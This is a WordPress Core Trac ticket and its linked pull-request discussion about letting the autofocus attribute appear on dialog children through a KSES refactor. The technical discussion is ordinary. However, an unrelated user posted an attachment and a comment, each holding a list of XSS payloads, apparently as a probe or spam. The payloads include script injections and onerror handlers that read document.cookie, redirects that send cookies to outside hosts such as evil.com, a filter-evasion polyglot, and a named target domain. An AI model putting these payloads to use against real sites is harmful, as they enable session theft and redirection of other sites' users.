Make WordPress Core

Opened 7 weeks ago

Last modified 2 weeks ago

#65717 new defect (bug)

Add support for the autofocus attribute for dialog children

Reported by: afercia Owned by:
Priority: normal Milestone: 7.2
Component: Formatting Version:
Severity: normal Keywords: has-patch has-unit-tests
Cc: Focuses: accessibility

Description

Follow-up to #65491.

#65491 only added support for the autofocus attribute on the dialog element itself. When setting initial focus on form elements within the dialog is desirable for better user experience, the autofocus attribute should be allowed also on the dialog element focusable children.

As discussed in #65491, the current KSES implementation isn't ideal to add a context-aware mechanism so that an attribute can be allowed only in the context of a dialog. For that to happen, a partial refactoring of KSES by using the HTML API is highly desirable (ticket to be created).

When that will be in place, the autofocus attribute should be allowed also on dialog children.

Attachments (1)

xss.svg (232 bytes ) - added by sagorhawlader 3 weeks ago.
<body onload=alert(1)><script>window.location="https://www.facebook.com/?cookie='+ document</script> redirect cookie "><img src=x onerror=alert(document.cookie)> <script>alert(1)</script> <img src=x onerror=alert(1)> "><img src=x onError=prompt(1)> }}})</script><script>alert(1)</script> jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )%0D%0A%0D%0A</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()>\x3e Reflected XSS <img src=x onerror=alert(document.cookie)> Stored XSS marketing.w3rocks.com/dashboard/config/company-information w3rocks.com inurl: php?q= "><img src=1 onerror=window.location='http://evil.com'> <img src="" onerror=".1|alert">

Download all attachments as: .zip

Change History (8)

This ticket was mentioned in Slack in #accessibility by joedolson. View the logs.


5 weeks ago

#2 @joedolson
5 weeks ago

  • Milestone Awaiting Review7.2

@dmsnell I believe that you've been experimenting with a wp_kses refactor; this ticket needs a refactor so that we can have context-sensitive attribute requirements. E.g. attributes that are allowed on an element, but only when it's within specific other attributes.

Milestoning for 7.2 as a goal, but it would depend on a refactor of wp_kses.

#3 @dmsnell
5 weeks ago

it’s true, @joedolson, that I have been experimenting with this for a while now.

the implementation of wp_kses() isn’t the only obstacle here, so this ties in nicely with the problem: the way that $allowed_html is communicated is also limiting, as it doesn’t convey tree-scoping of allowed attributes.

on the one hand, we are discussing in this ticket an attribute which ought to be globally allowed because we expect unprivileged authors to add accessibility attributes and don’t want to reject those. on the other hand, wp_kses() is a security system meant to prevent unsafe or unrecognized behaviors.

The HTML specification now has sanitization mechanisms which may be worth exploring to see how browsers are handling this.

It would need to be verified though that someone without unfiltered_html can safely set autofocus and that won’t cause issues. Then it would need to be discussed if wp_kses() should add implicit special-cases for things like this, which would remove some control from the calling code (since wp_kses() is currently general purpose).

Not sure how to advise on this at the moment.

Last edited 5 weeks ago by dmsnell (previous) (diff)

@sagorhawlader
3 weeks ago

<body onload=alert(1)><script>window.location="https://www.facebook.com/?cookie='+ document</script> redirect cookie "><img src=x onerror=alert(document.cookie)> <script>alert(1)</script> <img src=x onerror=alert(1)> "><img src=x onError=prompt(1)> }}})</script><script>alert(1)</script> jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )%0D%0A%0D%0A</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()>\x3e Reflected XSS <img src=x onerror=alert(document.cookie)> Stored XSS marketing.w3rocks.com/dashboard/config/company-information w3rocks.com inurl: php?q= "><img src=1 onerror=window.location='http://evil.com'> <img src="" onerror=".1|alert">

This ticket was mentioned in PR #13298 on WordPress/wordpress-develop by @raulsalvat.


2 weeks ago
#4

  • Keywords has-patch has-unit-tests added

## Summary

Adds context-aware KSES support for the utofocus attribute on descendants of dialog elements while preserving existing behavior outside the intended dialog context.

## Testing

  • PHP lint passes for src/wp-includes/kses.php
  • PHP lint passes for ests/phpunit/tests/kses.php
  • Targeted PHPUnit: 23 tests, 28 assertions, passing
  • Full KSES PHPUnit: 417 tests, 1472 assertions, passing
  • WordPress Coding Standards: passing
  • git diff --check: passing
  • Candidate validated against current trunk with no material intervening overlap found

## Use of AI Tools

AI assistance: Yes.

Used for implementation analysis, candidate refinement, validation planning, and test/review assistance. The final implementation and publication candidate were independently validated against the WordPress test and coding-standard toolchain.

@dmsnell commented on PR #13298:


2 weeks ago
#5

I’m nowhere smart enough to understand what these are saying, even after re-reading them multiples times.

If pre_kses changed the normalized input, structural identity is no longer established. Preserve the hook mutation but do not broaden contextual autofocus for this invocation.

Reduces the post-context autofocus allowance to actual dialog scope.

@rootzero00 you want to write what you meant in different wording? What were you trying to convey with these comments?

---

I’m going to ask for some delay on this, because in #13271 I’m trying to prep a full refactor of wp_kses() to use the HTML API internally, and the shape of this kind of work will likely be significantly simpler after that refactor. In any case, it will be a growing hassle to be making substantial changes to wp_kses() while that work is in place. My hope is to merge something in next week, so the delay is likely less than the normal review delay would be.

#6 @dmsnell
2 weeks ago

@joedolson after the wp_kses() refactor in PR#13271 this kind of activity should be substantially easier to implement. it might be easier to implement as a hard-coded thing too, otherwise we’ll need to create some new filters.

I’m not initially on board with the fake $context value in PR#13298 either. It seems like a potential vector for attack, and at a minimum, a foot-gun for KSES.

Hoping to get the refactor in for WordPress 7.2, potentially even within the next week.

@raulsalvat commented on PR #13298:


2 weeks ago
#7

Thanks for calling this out, those comments are definitely too abstract.

What I was trying to say was:

For the first comment, the code saves the normalized content before running
pre_kses, then compares it with the content returned by the hook. If
pre_kses changes that content, I don't try to infer the dialog ancestry
from the original input anymore. I keep the hook's modified content and
fall back to the normal KSES path instead of using the new
dialog/autofocus-specific path.

So "structural identity is no longer established" was really just meant to
say: if the hook changes the HTML, I can no longer assume that the
structure I was about to inspect is the same structure that came into the
hook.

For the second comment, the implementation temporarily allows autofocus
while processing the post allowlist, but
_wp_kses_sanitize_dialog_autofocus() then walks the HTML and removes
autofocus from any element that is not actually inside a dialog.

So "reduces the post-context autofocus allowance to actual dialog scope"
was meant to say: even though autofocus is temporarily permitted during
KSES processing, it is retained only on elements whose parsed ancestry
actually contains a dialog.

I'll also hold off on further changes here while #13271 is in progress.
Once that refactor lands, I'm happy to revisit this against the new
wp_kses() structure and simplify the approach if appropriate.

Thanks for pointing out the wording issue.

On Fri, Aug 28, 2026 at 12:40 AM Dennis Snell *@*.*>
wrote:

*dmsnell* left a comment (WordPress/wordpress-develop#13298)
<https://github.com/WordPress/wordpress-develop/pull/13298#issuecomment-5448512219>

I’m nowhere smart enough to understand what these are saying, even after
re-reading them multiples times.

If pre_kses changed the normalized input, structural identity is no longer
established. Preserve the hook mutation but do not broaden contextual
autofocus for this invocation.

Reduces the post-context autofocus allowance to actual dialog scope.

@rootzero00 <https://github.com/rootzero00> you want to write what you
meant in different wording? What were you trying to convey with these
comments?


I’m going to ask for some delay on this, because in #13271
<https://github.com/WordPress/wordpress-develop/pull/13271> I’m trying to
prep a full refactor of wp_kses() to use the HTML API internally, and the
shape of this kind of work will likely be significantly simpler after that
refactor. In any case, it will be a growing hassle to be making substantial
changes to wp_kses() while that work is in place. My hope is to merge
something in next week, so the delay is likely less than the normal review
delay would be.


Reply to this email directly, view it on GitHub
<https://github.com/WordPress/wordpress-develop/pull/13298?email_source=notifications&email_token=CFF4WIS2BYX2IPYDH726FN35MEEKHA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTKNBUHA2TCMRSGE42M4TFMFZW63VHNVSW45DJN5XKKZLWMVXHJLDGN5XXIZLSL5RWY2LDNM#issuecomment-5448512219>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/CFF4WIUTQWLAHHELEM6BVVT5MEEKHAVCNFSNUABEKJSXA33TNF2G64TZHM3TKNRUGU3DKOJ3JFZXG5LFHM2TENZRHE4DSMZVGWQXMAQ>
.
Triage notifications, keep track of coding agent tasks and review pull
requests on the go with GitHub Mobile for iOS
<https://github.com/notifications/mobile/ios/CFF4WIQPKVCJVKBZ3ADSMGT5MEEKHA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTKNBUHA2TCMRSGE42M4TFMFZW63VHNVSW45DJN5XKKZLWMVXHJKTGN5XXIZLSL5UW64Y>
and Android
<https://github.com/notifications/mobile/android/CFF4WIR65UV5DM7C76F62J35MEEKHA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTKNBUHA2TCMRSGE42M4TFMFZW63VHNVSW45DJN5XKKZLWMVXHJLTGN5XXIZLSL5QW4ZDSN5UWI>.
Download it today!
You are receiving this because you were mentioned.Message ID:
*@*.*>

Note: See TracTickets for help on using tickets.